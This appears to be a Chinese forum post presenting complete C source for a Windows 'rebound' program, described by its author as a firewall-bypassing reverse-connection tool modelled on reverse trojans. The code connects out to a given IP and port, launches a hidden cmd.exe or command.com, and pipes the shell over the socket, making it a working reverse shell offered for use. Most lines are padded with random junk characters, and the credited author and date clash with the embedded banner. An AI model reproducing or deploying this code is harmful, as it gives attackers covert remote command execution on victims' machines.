这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 siDh="{s
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/* ============================== OFkNl}D
Rebound port in Windows NT YcX/{L[9o
By wind,2006/7 -Y 9SngxM
===============================*/ V%0I%\0Y
#include IeX^4rc(
#include G9P!_72
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#pragma comment(lib,"wsock32.lib") ?L)
!pP]
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void OutputShell(); /\s}uSW
SOCKET sClient; SlLw{Yb7\.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R8ONcG
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void main(int argc,char **argv) K0+.q?8D|
{ 7xo4-fIuT
WSADATA stWsaData; RC#C\S6
int nRet; QYb33pN|
SOCKADDR_IN stSaiClient,stSaiServer; V&]DzjT/
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if(argc != 3) I&|f'pn^<
{ lfsqC};#\
printf("Useage:\n\rRebound DestIP DestPort\n"); HL3XyP7
return; /e}#'
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} .9[45][FK
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WSAStartup(MAKEWORD(2,2),&stWsaData); CI:^\-z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j9+I0>#X
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stSaiClient.sin_family = AF_INET; qGmNz}4D5
stSaiClient.sin_port = htons(0); X .F^$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %#L]]-%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =,!\~`^
{ ?YM4b5!3T
printf("Bind Socket Failed!\n"); /Ss7"*JLe
return; %h"z0@+
} d'6|: z9c
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stSaiServer.sin_family = AF_INET; hG~reVNf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @Y,7'0U
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hJz):d>Im
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YNrp}KQ
{ J/!cGr(B~
printf("Connect Error!"); h_d +$W5
return; 4F3x@H'
}
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OutputShell();
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} )&{K~i ;:
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void OutputShell() D<i[LZd
{ Fk;oE'"D
char szBuff[1024]; {+<P:jbz;
SECURITY_ATTRIBUTES stSecurityAttributes; mnk"Vr` L
OSVERSIONINFO stOsversionInfo; { x0 t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6C4'BCYW(
STARTUPINFO stStartupInfo; +|Hioq*,t
char *szShell; ; |/leu8
PROCESS_INFORMATION stProcessInformation; 5Ky#GuC
unsigned long lBytesRead; XNMa0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CRve.e8J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %owsBO+
stSecurityAttributes.lpSecurityDescriptor = 0; 9~rUkHD
stSecurityAttributes.bInheritHandle = TRUE; ZD#9&q'4<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); am_gH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tj]9~eJ-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *=ZsqOHwG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U'UQ|%5f
stStartupInfo.wShowWindow = SW_HIDE; Ch()P.n?
stStartupInfo.hStdInput = hReadPipe; t%zpNd2lk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,h\s F#|
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GetVersionEx(&stOsversionInfo); K-<^$VWh
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switch(stOsversionInfo.dwPlatformId) Ll4bdz,
{ C'=k<-
case 1: {y] mk?j
szShell = "command.com"; '$As<LOEd/
break; Q(d9n8
default: rKHY?{!
szShell = "cmd.exe"; q{2I_[p
break; }ZSQ>8a
} ffXyc2o
}u+a<:pkK
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6<,dRn
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send(sClient,szMsg,77,0); qQi.?<d2"s
while(1) thO ~=RB
{ Ko&hj XHx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !}\4utHY
if(lBytesRead) /<CSVJ_r
{ @\oz4^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v]%WH~>
send(sClient,szBuff,lBytesRead,0); *?+V65~dW
} Giq=*D+
else 5WqXo{S
{ O?8Ni=]
lBytesRead=recv(sClient,szBuff,1024,0); Nfe>3uQK
if(lBytesRead<=0) break; YI-O{U
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b 6t}{_7
} DcMJ^=r8O:
} vB37M@wm
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return; p_ Fy>j
}